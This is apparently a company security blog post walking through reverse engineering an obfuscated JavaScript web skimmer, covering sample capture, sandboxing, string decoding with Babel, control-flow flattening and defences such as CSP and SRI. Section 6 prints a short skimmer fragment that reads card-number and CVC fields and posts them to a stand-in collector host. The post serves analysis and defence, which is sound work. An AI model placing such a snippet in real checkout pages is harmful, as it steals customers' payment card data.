Nouvelle réglementation de cybersécurité 2026 en vigueur au Maroc. Obtenir un audit de conformité gratuit →
← Retour au blog
Ethical Hacking 2025-12-18 ⏱️ 13 min

Reverse Engineering a JavaScript Web Skimmer: A Practical Deobfuscation Workflow

Reverse Engineering a JavaScript Web Skimmer: A Practical Deobfuscation Workflow

Web skimmers are small JavaScript programs injected into checkout pages to steal payment card data as the victim types it. They are a subset of Magecart activity, and they have one property that makes them attractive to reverse engineers: they must run in the browser, so their code is delivered to the victim. Obfuscation raises the cost of analysis, but it cannot hide the program's behavior from a debugger, a network log, or an instrumented DOM. This article presents a repeatable workflow for taking an obfuscated skimmer from “unreadable blob” to “documented exfiltration chain.”


1. Acquire and Preserve the Sample

Start by capturing the exact script the page loads. Do not analyze a prettified copy without keeping the original hash.

# Save the response body and headers
curl -sS -D headers.txt -o skimmer.js 'https://shop.example.com/js/app.min.js?v=42'

# Record the hash for evidence
sha256sum skimmer.js | tee skimmer.sha256

If the script is loaded dynamically, use the browser's Network panel or a proxy to capture the response, and record the initiator stack. The initiator often reveals which inline script injected the tag, which is the actual entry point of the compromise.


2. Triage Before Deobfuscation

Read the first and last few hundred bytes. Skimmers frequently leave recognizable artifacts:

  • Long hex or base64 string arrays.
  • A large switch statement or a dispatcher function with numeric cases.
  • String concatenation such as ['fe','tch'].join('') to hide fetch.
  • Encoded property access: window['fe' + 'tch'].
  • An atob, decodeURIComponent, or custom RC4/XOR routine.
  • Event listeners on input, change, or submit targeting card fields.
# Quick static indicators
grep -oE 'atob|btoa|fromCharCode|decodeURIComponent|eval|Function\(' skimmer.js | sort | uniq -c
grep -oE 'https?://[^"'"'"' ]+' skimmer.js | sort -u

If the sample contains a readable URL, you already have the exfiltration endpoint. If not, the network log from a sandboxed browser will provide it once the script executes.


3. Make It Executable in a Sandbox

Never run an unknown skimmer in a normal browser profile. Use a disposable VM, a fresh browser profile, and a proxy that blocks outbound traffic except to a controlled sink. A minimal instrumented environment helps:

// sandbox.js — run with Node's vm in an isolated process
const vm = require('vm');
const fs = require('fs');
const code = fs.readFileSync('skimmer.js', 'utf8');

const sandbox = {
  window: {},
  document: {
    querySelector: () => null,
    addEventListener: (type, fn) => console.log('[listener]', type)
  },
  navigator: { userAgent: 'sandbox' },
  location: { href: 'https://shop.example.com/checkout' },
  fetch: (...args) => { console.log('[fetch]', args); return Promise.resolve(); },
  XMLHttpRequest: function () { console.log('[xhr] constructed'); },
  atob: (s) => Buffer.from(s, 'base64').toString('binary'),
  btoa: (s) => Buffer.from(s, 'binary').toString('base64'),
  console
};

vm.createContext(sandbox);
try {
  vm.runInContext(code, sandbox, { timeout: 5000 });
} catch (e) {
  console.error('[error]', e.message);
}

The goal is not to emulate a full browser. It is to observe which globals the script touches and which network calls it attempts. A skimmer that fails in the sandbox may still reveal its string-decoding routine and target selectors.


4. Defeat the String Layer

Most obfuscators (javascript-obfuscator, obfuscator.io, commercial packers) begin with a string array and an accessor. A typical pattern looks like this:

var _0x1a2b = ['fetch', '/collect', ...];
function _0x3c4d(i) { return _0x1a2b[i - 0x0]; }

Two approaches work well:

  1. Dynamic evaluation. Execute only the decoder in the sandbox, then call the accessor for every index and print the result. This is safe if the decoder has no side effects.
  2. AST transformation. Parse with Babel, find calls to the accessor with numeric arguments, evaluate them, and replace the call with a string literal.
// babel-decode.js — replace _0x3c4d(0x12) with its decoded string
const parser = require('@babel/parser');
const traverse = require('@babel/traverse').default;
const generate = require('@babel/generator').default;
const t = require('@babel/types');
const fs = require('fs');

const src = fs.readFileSync('skimmer.js', 'utf8');
const ast = parser.parse(src);

// In a real sample, extract and evaluate the decoder in a vm first.
const decoded = { 0x12: '/collect', 0x13: 'fetch' };

traverse(ast, {
  CallExpression(path) {
    const callee = path.node.callee;
    const arg = path.node.arguments[0];
    if (t.isIdentifier(callee, { name: '_0x3c4d' }) && t.isNumericLiteral(arg)) {
      const value = decoded[arg.value];
      if (typeof value === 'string') path.replaceWith(t.stringLiteral(value));
    }
  }
});

fs.writeFileSync('skimmer.decoded.js', generate(ast).code);

After the string layer is gone, beautify the output and look for the data flow: where card values are read, how they are encoded, and where they are sent.


5. Remove Control-Flow Flattening

Control-flow flattening replaces sequential logic with a dispatcher:

var _0xorder = '3|1|0|2'.split('|');
while (true) {
  switch (_0xorder.shift()) {
    case '0': /* block A */ break;
    case '1': /* block B */ break;
    case '2': /* block C */ break;
    case '3': /* block D */ break;
  }
  if (!_0xorder.length) break;
}

Two practical options:

  • Symbolic execution. Use a tool such as webcrack or a Babel plugin that evaluates the dispatcher when the order array is constant, then reorders the blocks.
  • Dynamic tracing. Instrument the switch with logging, run the script in the sandbox, and record the order in which cases execute. Rebuild the sequence manually for small samples.

For a skimmer, full deobfuscation is often unnecessary. You need the sink: the function that sends data out. Search the decoded output for fetch, XMLHttpRequest, sendBeacon, Image().src, and WebSocket.


6. Identify the Collection Logic

Skimmers usually attach listeners to checkout fields and read values on change or submit. A deobfuscated fragment often looks like this:

document.querySelectorAll('input[name="cardnumber"], input[name="cvc"]').forEach(el => {
  el.addEventListener('change', () => {
    const payload = btoa(el.name + '=' + el.value);
    fetch('https://collector.example.net/c', { method: 'POST', body: payload, mode: 'no-cors' });
  });
});

Map every selector, every event, and every encoding step. Note whether the script exfiltrates on keystroke (more data, more noise) or on form submission (less noise, complete values). Check for anti-debugging: debugger statements in loops, console detection, or timing checks. These are analysis obstacles, not security controls; disabling breakpoints or patching the check is straightforward in a lab.


7. Confirm the Exfiltration Endpoint

Once you have a candidate URL, do not send real card data. Use synthetic values and a controlled sink. Verify the method, content type, encoding, and whether the endpoint accepts data from any origin. A skimmer often posts to a compromised legitimate site before forwarding to the actor's backend, so the first-hop domain may look benign.

# Inspect the endpoint's TLS certificate and hosting without sending payloads
curl -sS -D - -o /dev/null https://collector.example.net/c
openssl s_client -connect collector.example.net:443 -servername collector.example.net < /dev/null 2>/dev/null | openssl x509 -noout -subject -issuer -dates

8. Defensive Takeaways

  • Inventory third-party scripts. PCI DSS v4.0 requirements 6.4.3 and 11.6.1 specifically address payment-page script management and tamper detection. Know every script, its owner, and its integrity hash.
  • Use Subresource Integrity. Pin third-party scripts with SRI where possible, and serve them from a controlled origin.
  • Content Security Policy. Restrict script-src and connect-src so an injected skimmer cannot reach an arbitrary collector.
  • Monitor DOM changes. Alert on new input listeners on card fields, new iframes, and scripts added after page load.
  • Preserve evidence. Keep the original sample, hash, headers, and network log. Deobfuscation is an analytical aid, not a replacement for the original artifact.

9. Conclusion

Obfuscation is an economic control, not a security boundary. A skimmer must execute in the victim's browser, which means it must eventually reveal its selectors, its encoding, and its destination. A disciplined workflow — preserve, triage, sandbox, decode strings, flatten control flow, identify sinks, confirm the endpoint — turns an opaque blob into an actionable incident report. The same workflow helps defenders validate that their checkout page has not been modified, and it gives incident responders the evidence they need to scope a Magecart compromise.

Besoin d'un audit de sécurité ?

Contactez Cayvora pour une consultation gratuite et protégez votre entreprise contre les cybermenaces.

✉️ Contact via Email

Articles connexes